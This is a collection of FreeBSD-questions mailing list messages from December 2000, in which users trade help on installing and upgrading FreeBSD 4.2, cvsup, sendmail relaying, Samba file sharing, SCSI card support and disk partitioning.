4.2-Release; which i downloaded from ftp.freebsd.org. I *did* use the
ckdist.exe tool to verify that the distribution was not corrupted. The
entire contents of the 'bin' directory were placed in C:\FreeBSD\bin for
the istallation to find them. I have also, though, attempted once or
twice to mount my primary Fat32 partition (ad0s1) to "/wnd" and tried
installing from this directory as a "UFS Filesystem" (as the installation
calls it). 
>   Has this type of problem occured in the past with Release 4.2 or is
there something that i'm doing wrong here?

	Mostly that you didn't wrap your lines at 72 characters, I had to
do it by hand, and that's not as much fun as it sounds. :)


							Tim

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If your looking for somethign like that perhaps samba is what your looking
for (www.samba.org).  It's a UNIX version of the Microsoft file sharing
protocols and such...works pretty well but can be difficult to configure.

But it will let you map drives on a windows box to shares on unix systems,
although there is no smbfs option yet for FreeBSD (so you can't go the other
way without using another software package).

Also FTP may be another way to move the files around - less configuration
work.

(please note, I'm asuming your talkig about sharing between 2 seperate
computers, otherwise just create a FAT slice in Windows, BSD will mount it)

Gene Dinkey
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> From: Stuart Morse [mailto:sturu@hotmail.com]
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> 
> 
> Hi All,
> 
> I will be developing a Java servlet application that will run under
> FreeBSD, and I would like to use Borland JBuilder to achieve this.
> We own a Win32 version of JBuilder, so the programming itself will
> occur on a Win32 PC. It would be nice to be able to generate my object
> code directly to the FreeBSD machine using a shared disk. Does
> FreeBSD support NETBUI, or should I use NFS? What are some of the
> pros and cons?
> 
> Regards,
> 
> Stuart
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This is undoubtably a silly question, and no doubt it could probably be
found in some archives somewhere, but I have actually looked, I just
cant seem to find anything that actually fixes the problem, because, as
far as /I/ can tell, I'm doing it right, cvsup just doesn't like me. :)
Here's the problem, I run the cvsuyp w/ the supfile below, and now, the
onlything in any of my ports is the README.html, which, while very nice,
doesn't do me a whole lot of good concidering what the ports tree is
intended for. Could someone please explain what is wrong with this
supfile, and more importantly why.

Thanks a bunch.
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Hey Stuart-

IMHO, your best bet would be to set up Samba and make the Win32 box talk in
it's native language. You can purchase Unix Services for Windows 2.0 which
will mount to a NFS volume, but doing it the Samba way is probably better.
As for NetBUI, I don't think that will work.

---
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Hi All,

I will be developing a Java servlet application that will run under
FreeBSD, and I would like to use Borland JBuilder to achieve this.
We own a Win32 version of JBuilder, so the programming itself will
occur on a Win32 PC. It would be nice to be able to generate my object
code directly to the FreeBSD machine using a shared disk. Does
FreeBSD support NETBUI, or should I use NFS? What are some of the
pros and cons?

Regards,

Stuart
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when one enters multiple make targets ('make update buildworld'), does it
only proceed with the second target if the first one was successful ('make
update && make buildworld')?

does 'make all' exist only for the passing of multiple targets ('make all
install' versus 'make && make install')?

is it at all necessary to 'make clean' or 'make depend' from /usr/src before
beginning a world build?

should i still remove the compile directory for my kernel before doing a
kernel build when using the preferred method?

does 'make world' imply 'make buildworld && make installworld', or will it
proceed with the installation even if the compile had errors?

is there a build/make in one target for the preferred kernel build method
('make kernel KERNEL=KERNEL_NAME' versus 'make buildkernel
KERNEL=KERNEL_NAME && make installkernel KERNEL=KERNEL_NAME')?

would it ever be desirable to 'make all install' the entire /usr/src/release
section?  when i attempt to build the entire structure, it says "warning:
object directory not changed from original /usr/src/release" and does
nothing.  i get the same warning when manually building sysinstall, but it
actually compiles and installs fine.

presently i use 2 scripts for the updating process; 1 for building, 1 for
installing.  here they are:

#!/bin/sh
chflags -R noschg /usr/obj/* && rm -rf /usr/obj/*
cd /usr/src && make clean && make update && make -j4 buildworld
make buildkernel KERNEL=DEMON
cd release/sysinstall && make

#!/bin/sh
cd /usr/src && make installworld
make installkernel KERNEL=DEMON
cd release/sysinstall && make install
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You want to check out samba.  It provides SMB/NetBIOS support for FreeBSD,
allow the machine to appear like a windows machine on the network.  Very
nice stuff.  

Samba should be in the ports, or check out www.samba.org.

I use it at home for almost the exact same purpose you mention.

...Michael...

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> 
> Hi All,
> 
> I will be developing a Java servlet application that will run under
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> We own a Win32 version of JBuilder, so the programming itself will
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I am running 4.2 stable, and for some reason I can't get more than 32ptys
open at a time.  I have 256 specified in the kernel, but it won't let me
use more than 32.  I also have 256 users set in the kernel.  How can I get
more ptys?

thanks

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I am trying to install a port on Freebsd 3.4

I get the following message
Error: your port uses an old layout.  Please update it to match this 
bsd.port.mk

I have completely reloaded the port and the bsd.port.mk using cvsup just today.
But I still get the error message.

Any ideas would be appreciated.

GCT System Administrator



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Howdy,

Thanks for your response..... I've definately turned the other =
controller off, and using the fixit disk, and vi, have managed to change =
the /etc/fstab file..... to ad4 etc, instead of what itused to be (ad0)

But now when attempting to boot up, I get the following;

[snip]
ad4:14594MB <ST513320A> [29691/16/63] at ata2-MASTER using DMA66
ad5:29188MB <ST330630A> [59303/16/64] at ata2-SLAVE using DMA66
Mounting root from ufs:/dev/ad4s1a
swapon /dev/ad4s1b: No such file or directory
Automatic boot in progress
Can't stat /dev/ad4s1a: No such file or directory
Can't stat /dev/ad4s1a: No such file or directory
/dev/ad4s1a: CAN'T CHECK FILE SYSTEM
/dev/ad4s1a: UNEXPECTED INCONSISTANCY; RUN fsck MANUALLY.
Automatic file system check failed... help!

Then it goes to select a prompt, etc... press enter for sh at /bin/sh, =
etc

I imagine the 'no such file or directory' errors are the major problem - =
and unfortunately one that I have no idea how to fix - at this stage, if =
I try to mount the partitions to their right places, I get the same =
error....

mount -a
mount: No such file or directory
mount: No such file or directory
mount: No such file or directory





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de
-> Manzano
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-> Subject: Re: Help please - Hard Drive Controller Problem - UDMA66
->=20
->=20
->=20
-> > [snip]
-> > ad4:14594MB <ST513320A> [29691/16/63] at ata2-MASTER using DMA66
-> > ad5:29188MB <ST330630A> [59303/16/64] at ata2-SLAVE using DMA66
->=20
-> Are you sure you disabled the old controller ?
-> I see "ata2-xxxx" above, I think it should be "ata0" and/or "ata1".
->=20
-> check all the booting messages for similar messages about ata0/1
->=20
->=20
-> Just my $0.0001 :-)
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On Thu, Dec 21, 2000 at 02:09:10PM -0600, Jimmy Thomson wrote:
> I am running 4.2 stable, and for some reason I can't get more than 32ptys
> open at a time.  I have 256 specified in the kernel, but it won't let me
> use more than 32.  I also have 256 users set in the kernel.  How can I get
> more ptys?

did you make them in /dev ? (MAKEDEV)

Edwin

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There's a new port format in place. You need to include delete in your 
cvsup config for ports. If you search questions for this, you're bound 
to find a multitude of messages about it.

System Administrator wrote:

> I am trying to install a port on Freebsd 3.4
> 
> I get the following message
> Error: your port uses an old layout.  Please update it to match this 
> bsd.port.mk
> 
> I have completely reloaded the port and the bsd.port.mk using cvsup just 
> today.
> But I still get the error message.
> 
> Any ideas would be appreciated.
> 
> GCT System Administrator
> 
> 
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You have to get the 34upgrade-2000.02.02 package before ports will work
after a cvsup on a 3.4 system.

I forget exactly where to get this but IIRC it was mentioned in the handbook
in the ports sectoion (could hav ebeen listed with cvsup as well)

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> 
> I am trying to install a port on Freebsd 3.4
> 
> I get the following message
> Error: your port uses an old layout.  Please update it to match this 
> bsd.port.mk
> 
> I have completely reloaded the port and the bsd.port.mk using 
> cvsup just today.
> But I still get the error message.
> 
> Any ideas would be appreciated.
> 
> GCT System Administrator
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On Thu, 21 Dec 2000, Edwin Groothuis wrote:

> On Thu, Dec 21, 2000 at 02:09:10PM -0600, Jimmy Thomson wrote:
> > I am running 4.2 stable, and for some reason I can't get more than 32ptys
> > open at a time.  I have 256 specified in the kernel, but it won't let me
> > use more than 32.  I also have 256 users set in the kernel.  How can I get
> > more ptys?
>
> did you make them in /dev ? (MAKEDEV)
>
> Edwin
>
>

yep.  I am also not on the list if people could respond right to me.

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nicholas bernstein wrote:
> 
> This is undoubtably a silly question, and no doubt it could probably be
> found in some archives somewhere, but I have actually looked, I just
> cant seem to find anything that actually fixes the problem, because, as
> far as /I/ can tell, I'm doing it right, cvsup just doesn't like me. :)
> Here's the problem, I run the cvsuyp w/ the supfile below, and now, the
> onlything in any of my ports is the README.html, which, while very nice,
> doesn't do me a whole lot of good concidering what the ports tree is
> intended for. Could someone please explain what is wrong with this
> supfile, and more importantly why.

Well, if you had included the supfile, we might have helped you. I
would guess that you are using the wrong tag. For the docs and ports,
you have to use a "tag=.". If you use anything else, cvsup will remove
it because it doesn't belong. 

Kent

> 
> Thanks a bunch.
> Nick
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Micke Josefsson wrote:

> On 20-Dec-00 Chip wrote:
> > I recently added an old tape drive to my system. It appears to be a
> > I'm afraid the floppy tape support was dropped back in 3.x. If I had the
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Hmm, guess it's off to the trash can with this old tape drive then. Unless anyone
reading this has a use for it, I'll send it off for free.

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this is after i attempt a make install, and i recently
cvsuped(  I am not sure if questions like this should go
to questions or stable) :

------

===> lib/libcrypt
install -c -o root -g wheel -m 444   libscrypt.a /usr/lib
install -c -o root -g wheel -m 444   libscrypt_p.a /usr/lib
install -c -s -o root -g wheel -m 444   -fschg  libscrypt.so.2 /usr/lib
install: /usr/lib/libscrypt.so.2: Operation not permitted
*** Error code 71

Stop in /usr/src/lib/libcrypt.
*** Error code 1

Stop in /usr/src/lib.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
tripe#

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On Thu, Dec 21, 2000 at 08:50:49PM -0000, danh@gelatinous.com wrote:
> this is after i attempt a make install, and i recently
> cvsuped(  I am not sure if questions like this should go
> to questions or stable) :
> 
> ------
> 
> ===> lib/libcrypt
> install -c -o root -g wheel -m 444   libscrypt.a /usr/lib
> install -c -o root -g wheel -m 444   libscrypt_p.a /usr/lib
> install -c -s -o root -g wheel -m 444   -fschg  libscrypt.so.2 /usr/lib
> install: /usr/lib/libscrypt.so.2: Operation not permitted
> *** Error code 71

To do an installworld, your securitylevel needs to be standard (ie <= 0)
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danh@gelatinous.com wrote:
> 
> this is after i attempt a make install, and i recently
> cvsuped(  I am not sure if questions like this should go
> to questions or stable) :
> 
> ------
> 
> ===> lib/libcrypt
> install -c -o root -g wheel -m 444   libscrypt.a /usr/lib
> install -c -o root -g wheel -m 444   libscrypt_p.a /usr/lib
> install -c -s -o root -g wheel -m 444   -fschg  libscrypt.so.2 /usr/lib
> install: /usr/lib/libscrypt.so.2: Operation not permitted

Did you recently decide to raise the kern_securelevel. Doing so causes
many problems like this.

Kent

> *** Error code 71
> 
> Stop in /usr/src/lib/libcrypt.
> *** Error code 1
> 
> Stop in /usr/src/lib.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Stop in /usr/src.
> tripe#
> 
> -----
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Can anyone point me to some documentation on how to install non-port bound
applications?  I can't seem to find much on the topic and seemed to have
lost our bound copy of the FreeBSD handbook.
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I installed ATerm fron the ports in FBSD 4.2 and it appears that
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The default install no longer enables the tint and transparent
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> Thanks for your response..... I've definately turned the other controller off, and using the fixit disk, and vi, have managed to change the /etc/fstab file..... to ad4 etc, instead of what itused to be (ad0)

Mmm.. FreeBSD apparently still see the Promise controller as ATA2/3, so maybe the I/O address of it should be changed as ATA0/1 ?
Does the Promise have a user accessible BIOS, like many SCSI controllers ?
Something like pressing ctrl-a or similar during the POST boot phase ?

if yes, maybe you could check into it if the settings are correct for use as primary and secondary ATA controllers.
Just a tought :-)


> I imagine the 'no such file or directory' errors are the major problem - and unfortunately one that I have no idea how to fix - at this stage, if I try to mount the partitions to their right places, I get the same error....

Maybe you had to create the approriate device nodes in your /dev dir.
I've just checked into mine (4.2-stable) and I've only upto "ad3xxxx", nothing with "ad4xxxx" and so on.
try something like, as root, "cd /etc && sh ./MAKEDEV ad4 ad5" and then check with "ls -l /dev/ad4*"


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	Well if it's trivial, you should be able to just untar it
assuming it was tarred, read the README or some such that comes with it
and follow the instructions like
./configure
make   or whatever they want.
	If it's not trivial you may need to adjust the code.  Maybe you
can go by the error messages you see when you follow thier directions and
just tweak the code.  
	If it's worse than that you'll have to port it yourself.  See:
http://www.freebsd.org/porters-handbook/
Good luck,

							Tim

On Thu, 21 Dec 2000, Christopher Leake wrote:

> 
> 
> Can anyone point me to some documentation on how to install non-port bound
> applications?  I can't seem to find much on the topic and seemed to have
> lost our bound copy of the FreeBSD handbook.
> thanks
> chris
> 
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Hi,

I'm with BSDi's PR agency,  As Jordan is currently unavailable, I'm
hoping someone else might be able to help.

We have been working with Jason Compton who is writing a story for the
publicatiion - Smart Business,  on building a  firewall - step by step.
Jason was shipped a copy of  FreeBSD 4.2, and has possibly received some
technical support from Chris Kingsley or Seth Shumway per Jordan's
suggestion.

My question is...

Does anyone know of a "humble" enterprise  FreeBSD case study/user that
relates to this firewall topic?  Someone who has successfully built a
firewall using FreeBSD?   We would need to make sure that the person/s
we refer don't mind being contacted by Jason.

Thanks for any help or suggestions.

Brigid

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the last error i mailed did seem to be a kernel security
problem, i got rid of it in rc.conf and now it works fine,
except now further along in the make install 
i get this error, very recently cvsuped machine too:

-----

===> bin/rmail
install -c -s -o root -g wheel -m 555   rmail /bin
install: rmail: No such file or directory
*** Error code 71

Stop in /usr/src/bin/rmail.
*** Error code 1

Stop in /usr/src/bin.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
tripe# 

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Hi,
 
   I see that MegaHaus (or Dirt Cheap Drives) advertises cheap
SCSI cards under the name of Tecram (sp?). Does anyone know
anything about these cards? Is this just a well known
SCSI mfg card with a  no-name attached to it?

  BTW, an UltraWide goes for like $50.00.

  This card doesn't ring a bell from the hardware compatability
list either ... 

  Does it work with FreeBSD?



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Faced with replacing my PPro-166/512k due to lightning strike running 
in the ethernet NIC. The right choice seems to be the AMD Athalon 
family. But am faced with the choice between slot and socket 
configurations. Seems like a slot could be cooled on both sides while 
a socket could not. A slot could contain its own voltage regulator, 
which might be hard on a chip. The slot MB's appear to be a tad 
cheaper. But for some reason ('cause he has one in stock?) the local 
shop is recommending socket and has no other justification.

Any performance differences between slot and socket? Any differences
in future support and upgrade options? Seen hints at AMD of larger
caches on new slotted CPU's but haven't found that detail yet.

While we are at it, he wants to put registered PC133 ECC memory into 
an Asus A7V MB. Says the MB will use either registered or 
non-registered memory, "but registered is what we use in serious 
server-class machines such as yours." Seems that registering can only 
add propagation delays. But could improve reliability. 
Recommendations? Should I stretch for VCM or stay with the comfortable
easy known PC133?

Have always been pleased with Asus MB's in the past. Is Asus still as 
good as they have been? The A7V is more expensive than the K7V and
appears to use a different VIA chip (KT133 vs KX133). Interesting as
AMD's web site doesn't appear to list any Asus MB's other than the A7V
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I'm setting up my mail server, and I want to make sure that sendmail is running
correctly before I change DNS entries.  So I'm trying to e-mail to my IP
address, but I'm not having much luck.  When I try to e-mail to my IP a.b.c.d
from hotmail, I get (in /var/log/maillog):

Dec 21 13:52:35 sj sendmail[3623]: eBLJqZN03623: ruleset=check_rcpt,
arg1=<sj@[a.b.c.d]>, relay=law2-f107.hotmail.com [216.32.181.107], reject=550
5.7.1 <sj@[a.b.c.d]>... Relaying denied
Dec 21 13:52:35 sj sendmail[3623]: eBLJqZN03623:
from=<markscottwright@hotmail.com>, size=0, class=0, nrcpts=0, proto=ESMTP,
daemon=MTA, relay=law2-f107.hotmail.com [216.32.181.107]

When I just telnet to the smtp port and try it manually (I still get relaying
denied errors.  Why does sendmail think I'm relaying, when I'm actually trying
to send to the server's IP address?  I don't get relaying denied errors if I
send to sj@hostname.mydomain.org (within telnet of course - I haven't changed
the DNS yet, so hotmail won't recognize hostname.mydomain.org as being a.b.c.d).

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I've never managed to get them recognized .... perhaps they are like
winmodems & intended for Win98 users only ??

----- Original Message ----- 
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> Hi,
>  
>    I see that MegaHaus (or Dirt Cheap Drives) advertises cheap
> SCSI cards under the name of Tecram (sp?). Does anyone know
> anything about these cards? Is this just a well known
> SCSI mfg card with a  no-name attached to it?
> 
>   BTW, an UltraWide goes for like $50.00.
> 
>   This card doesn't ring a bell from the hardware compatability
> list either ... 
> 
>   Does it work with FreeBSD?
> 
> 
> 
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In the last episode (Dec 21), Roger P. Johnson said:
>    I see that MegaHaus (or Dirt Cheap Drives) advertises cheap SCSI
> cards under the name of Tecram (sp?). Does anyone know anything about
> these cards? Is this just a well known SCSI mfg card with a no-name
> attached to it?

HARDWARE.TXT claims support for

Tekram DC390W, 390U and 390F (Symbios chipset)
Tekram DC390 and DC390T (AMD chipset)

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danh@gelatinous.com wrote:
> 
> the last error i mailed did seem to be a kernel security
> problem, i got rid of it in rc.conf and now it works fine,
> except now further along in the make install
> i get this error, very recently cvsuped machine too:

I'm about 15 minutes from the end of a build world/kernel and install.
Did you follow the suggestions on doing a buildworld,
build[install]kernel, installworld from /usr/src/UPDATING. Since rmail
is in the installworld, it will be a few minutes before I get there.

Kent

> 
> -----
> 
> ===> bin/rmail
> install -c -s -o root -g wheel -m 555   rmail /bin
> install: rmail: No such file or directory
> *** Error code 71
> 
> Stop in /usr/src/bin/rmail.
> *** Error code 1
> 
> Stop in /usr/src/bin.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Stop in /usr/src.
> tripe#
> 
> -----------------
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Sounds to me like sendmail is not setup to take email by the address.

Have you checked your virtusertable for an entry of this email address? Of
cource that is only if you are using the virtusertable database.

Next try looking in sendmail.cw for your ip address. This is a list of
domains that sendmail accepts mail for.



Erin


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> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
> mark_wright@datacard.com
> Sent: Thursday, December 21, 2000 1:50 PM
> To: freebsd-questions@FreeBSD.ORG
> Subject: Why can't I e-mail to my IP address
>
>
> I'm setting up my mail server, and I want to make sure that
> sendmail is running
> correctly before I change DNS entries.  So I'm trying to
> e-mail to my IP
> address, but I'm not having much luck.  When I try to e-mail
> to my IP a.b.c.d
> from hotmail, I get (in /var/log/maillog):
>
> Dec 21 13:52:35 sj sendmail[3623]: eBLJqZN03623: ruleset=check_rcpt,
> arg1=<sj@[a.b.c.d]>, relay=law2-f107.hotmail.com
> [216.32.181.107], reject=550
> 5.7.1 <sj@[a.b.c.d]>... Relaying denied
> Dec 21 13:52:35 sj sendmail[3623]: eBLJqZN03623:
> from=<markscottwright@hotmail.com>, size=0, class=0,
> nrcpts=0, proto=ESMTP,
> daemon=MTA, relay=law2-f107.hotmail.com [216.32.181.107]
>
> When I just telnet to the smtp port and try it manually (I
> still get relaying
> denied errors.  Why does sendmail think I'm relaying, when
> I'm actually trying
> to send to the server's IP address?  I don't get relaying
> denied errors if I
> send to sj@hostname.mydomain.org (within telnet of course - I
> haven't changed
> the DNS yet, so hotmail won't recognize hostname.mydomain.org
> as being a.b.c.d).
>
> Mark.
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On Thu, 21 Dec 2000, Roger P. Johnson wrote:

>    I see that MegaHaus (or Dirt Cheap Drives) advertises cheap
> SCSI cards under the name of Tecram (sp?). Does anyone know
> anything about these cards? Is this just a well known
> SCSI mfg card with a  no-name attached to it?

You may be thinking of Tekram (http://www.tekram.com/). I have one of
their DC390F cards in my 3.1R system, and it works just fine. I had to
add

controller      ncr0            # Tekram SCSI card

...plus an entry for the CD-ROM hanging off the SCSI card, to my kernel
config to make it work. Pretty painless.

HTH.

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Whoops - the should have gone to the list.  F***-ing Lotus Notes.

Mark.

---------------------- Forwarded by Mark Wright/US/DataCard on 12/21/2000 04:15
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Mark Wright
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To:   "Erin" <kahn@deadbbs.com>
cc:
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Subject:  RE: Why can't I e-mail to my IP address  (Document link: Mark Wright)

I'm just using the default FreeBSD 4.0 sendmail install and config.  If sendmail
accepts sj@hostname.mydomain.org, though, I think it should accept
sj@123.123.123.  I don't think I even have a sendmail.cw.  That's the input to
m4, right?  I think that the FreeBSD sendmail.cf comes pre-compiled.

Mark.








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Sounds to me like sendmail is not setup to take email by the address.

Have you checked your virtusertable for an entry of this email address? Of
cource that is only if you are using the virtusertable database.

Next try looking in sendmail.cw for your ip address. This is a list of
domains that sendmail accepts mail for.



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>
>
> I'm setting up my mail server, and I want to make sure that
> sendmail is running
> correctly before I change DNS entries.  So I'm trying to
> e-mail to my IP
> address, but I'm not having much luck.  When I try to e-mail
> to my IP a.b.c.d
> from hotmail, I get (in /var/log/maillog):
>
> Dec 21 13:52:35 sj sendmail[3623]: eBLJqZN03623: ruleset=check_rcpt,
> arg1=<sj@[a.b.c.d]>, relay=law2-f107.hotmail.com
> [216.32.181.107], reject=550
> 5.7.1 <sj@[a.b.c.d]>... Relaying denied
> Dec 21 13:52:35 sj sendmail[3623]: eBLJqZN03623:
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> nrcpts=0, proto=ESMTP,
> daemon=MTA, relay=law2-f107.hotmail.com [216.32.181.107]
>
> When I just telnet to the smtp port and try it manually (I
> still get relaying
> denied errors.  Why does sendmail think I'm relaying, when
> I'm actually trying
> to send to the server's IP address?  I don't get relaying
> denied errors if I
> send to sj@hostname.mydomain.org (within telnet of course - I
> haven't changed
> the DNS yet, so hotmail won't recognize hostname.mydomain.org
> as being a.b.c.d).
>
> Mark.
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Ryan Masse wrote:
> I'm curious to know if i were to add a group to the /etc/ftpusers file would
> ftpd allow ftp access to the users within that group? I have read the ftpd
> man pages and it only mentions users added to this file.

/etc/ftpusers is somewhat misnamed. It is actually for *denying* access,
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If you want to deny ftp access to users by group, you put @groupname in
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Hi!

I have a laptop Libretto 100CT (does'nt have any CD-Rom) and I installed
BSd release 4.2 and it wsa working fine and to power off I was using

# /sbin/shutdown -h now

and after that I manually switch off the power (though I do not know is it
the right way to do it). Yesterday when I did this and after that I reboot
the m/c then I got the message that file system is not clean and then I
ran fsck manually and then i found that I do not know should I say yes or
no to all these questions so I left it in between and then read some FAQ
and found that I should run

fsck -y /dev/ad01f as I got error with this file system only and then I
got the message and I reboot the machine I did not do any thing after this
command just reboot after the file system clean message.

Now if I do ping it says that can'nt resolve and if I use IP adress then I
get message that route not found.

I am also getting some messages during boot time that some files are
missing. 

Please first of all telll me that how can i avoid this to happen in the
future. Do I have to reload the BSD, I am using it from my school in DHCP
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What's the status of DRI support under freebsd?  Does anyone have some
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ok, can we just ban this person now?


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I am trying to use a Mylex raid controller as my boot device. The install
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Further I want to add that when I do ifconfig I do not get ep0 which I
used to get earlier.

Thanks,

Harkirat



On Thu, 21 Dec 2000, Harkitrat Singh wrote:

> 
> 
> Hi!
> 
> I have a laptop Libretto 100CT (does'nt have any CD-Rom) and I installed
> BSd release 4.2 and it wsa working fine and to power off I was using
> 
> # /sbin/shutdown -h now
> 
> and after that I manually switch off the power (though I do not know is it
> the right way to do it). Yesterday when I did this and after that I reboot
> the m/c then I got the message that file system is not clean and then I
> ran fsck manually and then i found that I do not know should I say yes or
> no to all these questions so I left it in between and then read some FAQ
> and found that I should run
> 
> fsck -y /dev/ad01f as I got error with this file system only and then I
> got the message and I reboot the machine I did not do any thing after this
> command just reboot after the file system clean message.
> 
> Now if I do ping it says that can'nt resolve and if I use IP adress then I
> get message that route not found.
> 
> I am also getting some messages during boot time that some files are
> missing. 
> 
> Please first of all telll me that how can i avoid this to happen in the
> future. Do I have to reload the BSD, I am using it from my school in DHCP
> mode.
> 
> Thanks,
> 
> Harkirat
> 
> 
> 
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On Thu, 21 Dec 2000, Jimmy Thomson wrote:

> On Thu, 21 Dec 2000, Edwin Groothuis wrote:
> 
> > On Thu, Dec 21, 2000 at 02:09:10PM -0600, Jimmy Thomson wrote:
> > > I am running 4.2 stable, and for some reason I can't get more than 32ptys
> > > open at a time.  I have 256 specified in the kernel, but it won't let me
> > > use more than 32.  I also have 256 users set in the kernel.  How can I get
> > > more ptys?
> >
> > did you make them in /dev ? (MAKEDEV)
> >
> > Edwin
> >
> 
> yep.

How did you make the devices?  (ie what exact command did you use?)

It looks to me like /dev/MAKEDEV can make a maximum of 256 pty's by saying

  # cd /dev
  # /bin/sh MAKEDEV pty7

(yes, the '7' seems a bit confusing to me too...)

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This may be a ports question but it is a "how to" so...

From the handbook:

   4.2.2. Removing Installed Ports

       # cd /usr/ports/..your port
       # make deinstall

I thought I had read somewhere to do, "make deinstall clean", and
perhaps with "all". I did not do this but did:

      # cd /usr/ports/x11/kde2
      # make deinstall clean

This did not remove the executables. I later did this with pkg_delete
for each of the components. This was required as 
   
      pkg_delete kdebase-2.0.1

did not remove the other kde components.

So the question: what's the proper way? And, should that go in the
handbook which, I guess, must deal with at least 3.x ways of doing
things?


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Yea. The supfile.. could have helped... .. . damn.
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*default tag=RELENG_4
*default host=cvsup4.FreeBSD.org
*default prefix=/usr
*default base=/usr
*default release=cvs
           
ports-all
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-------- Original Message --------
Subject: ports-sup question
Date: Thu, 21 Dec 2000 10:57:23 -0500
From: nicholas bernstein <nicholas@innoverity.com>
To: freebsd-questions@FreeBSD.ORG

This is undoubtably a silly question, and no doubt it could probably be
found in some archives somewhere, but I have actually looked, I just
cant seem to find anything that actually fixes the problem, because, as
far as /I/ can tell, I'm doing it right, cvsup just doesn't like me. :)
Here's the problem, I run the cvsuyp w/ the supfile below, and now, the
onlything in any of my ports is the README.html, which, while very nice,
doesn't do me a whole lot of good concidering what the ports tree is
intended for. Could someone please explain what is wrong with this
supfile, and more importantly why.

Thanks a bunch.
Nick

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On Thu, Dec 21, 2000 at 11:16:26AM -0500, nicholas bernstein wrote:
> Yea. The supfile.. could have helped... .. . damn.
> -------
> *default tag=RELENG_4
> *default host=cvsup4.FreeBSD.org
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> *default release=cvs
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> ports-all

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Christoph Sold <so@server.i-clue.de> types:
> Mark Saldanha schrieb:
> > Okay...I have a 9 gb drive on a PC running FreeBSD. I have added or  mounted
> > a 20gb Drive now and I want to make a copy of the first disk so that I can
> > remove it and use the 20gb as the only drive.  I have tried using dd but not
> > sure of the exact command that I should use.
> Since the hint I gave wasn't enough to point you in the right direction,
> - - search the mailing list archive (http://www.freebsd.org/mail/) for
> "cloning disks"
> - - be aware you have to tune the cloned drive by hand to get larger
> capacity into freebsd
> - - try dd if=/dev/rad0 of=/dev/rad1 to clone the drive. Read up on the
> mailing list what this does, or you _will_ shoot yourself in your own
> foot.

There's a FAQ entry on moving a system to a new large disk. It pretty
much summarizes what's you'll find in the mail archvies.

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On Wednesday, 20 December 2000 at 11:53:08 -0500, SILVER, MICHAEL A wrote:
>> I install FreeBSD with windows 95. I have 6.4GB Harddrive.
>> Win 95 use -- 3400GB and others for FBSD.
>> I create only two partition one for / and other swap.
>> I have 128MB RAM so I create 256MB for swap.
>
> Beware, I am also a newbie, so I am sure someone will give better answers.
>
> I think it is 1 1/2 x memory, or something like that.  From what I have
> seen, the more memory you have, the less you will need to use swap (but you
> still need it).  That said, I would use a swap file at least as big as your
> memory.  I am sure the handbook would address this and give a much more
> precise answer (although I can't find it in the handbook).
>
>> In Chapter 5 , Where to put /var and /tmp section:-
>> " If we don't specify anything else, /var & /tmp will end up on the
>> /root file system,which isn't enormous. If we leave things like
>> that,there's a very good chance that the root file system will
>> fillup" WHY ?  Do it good to create separate partition for /var &
>> /tmp like / & swap ?

Well, it looks as if you haven't read all the text.  This doesn't
apply to the kind of installation you're doing.

> I don't speak for Greg, but I think he suggests creating a single
> partition.  I know there are arguments back and forth, but I think
> the old argument is root gets very little write access, and
> therefore should be seperate from /var, /etc, etc.  Perhaps to
> prevent the root from crashing with another parition.

No, in this edition I suggest two partitions, / and /usr.  In the next
edition I'll suggest a single partition of up to 4 GB, and additional
partitions if the available disk space is larger.

> I myself just use a single partition.  Supposedly with the newer
> harddrives/computers, there is less reason to break up into multiple
> partitions.  Greg could explain this much better.

I did, in the book.

> That said, I am only running a gateway.  There may be valid reasons
> to break up into mulitple partitions, especially if this is for
> mission critical use.

There are a number of reasons.  If you're doing serious work, you
should also do serious consideration of how you're going to lay out
your partitions.  If you're installing it for casual use (which seems
to be MICHAEL's case), you don't need to go to that much trouble.  In
this case, it would make sense to have only one partition (since it's
less than 4 GB).  This isn't what I recommend in the Third Edition,
but it's a lot simpler.  MICHAEL, by chance you have stumbled on the
recommendation that will be in the next edition.  You don't need to
worry about /var and /tmp in this scenario.

>> Swap takes much MB.  Do I create 128MB for swap ? Do it create any
>> problem or make slow my X-windows ?

Well, what you do is up to you.  There's quite a discussion in the
book about how much swap to use.  If you don't have enough, you can
run into real problems.

> I am sure someone will provide a more detailed rational.  Also check
> the message archives, I have seen this thread before.

Indeed.  It's one of the most popular questions.

Greg
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Hi Tim.....

Just to clarify, the build should be:

QT
Support <--- next, being a dependency for Libs
LIBS
Base <--- I do this next myself
then what ever packages afterward you prefer or not too compile.

I also install all the pkg. dependencies before hand, following another 
post I had seen on the list.

I prefer too compile this way, rather than through the "META Port KDE2" 
because after doing Qt, support and libs, I can then compile the rest 
of the packages 3 at a time. much more quicker that way :)

Just thought I would send that along to clarify. :)

Cheers

David


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I'm trying to upgrade from 3.1-RELEASE (on cd) to 4.x using CTM.

I downloaded src-4.0200xEmpty.gz from ftp.freebsd.org and then did the
following:

shutdown now
fsck -p
mount -u /
mount -a -t ufs
swapon -a
cd /usr/obj
chflags -R noschg *
rm -rf *
cd /usr/src
ctm -b /usr/src -v /home/lholcombe/src-4.0200xEmpty.gz    # exit status (0)
make buildworld

then I get this error:
pp_hot.o(.text+0x16a1): undefined reference to `setresguid'
pp_hot.o(.text+0x1614): undefined reference to `setresguid'

I have tried by:
    1) ctm(ing) over my current 3.1 source
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    3) ctm(ing) the full delta set from src-4.0200.gz to src-4.0299.gz
before making world;
and it always fails at this point.

I can't find any relevant reference in UPDATING or README.

Please provide guidance.

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On Wednesday, 20 December 2000 at 16:38:23 -0600, Mike Meyer wrote:
> Tyler K McGeorge <treznor@sunflower.com> types:
>> University of California at Berkeley at one point in time bought the =
>> rights to work on UNIX from Bell Systems back in 1978. They shortly =
>> thereafter forged their own variant of UNIX which they called BSD =
>> (Berkeley Software Distribution). Soon after came 2BSD (which shipped 75 =
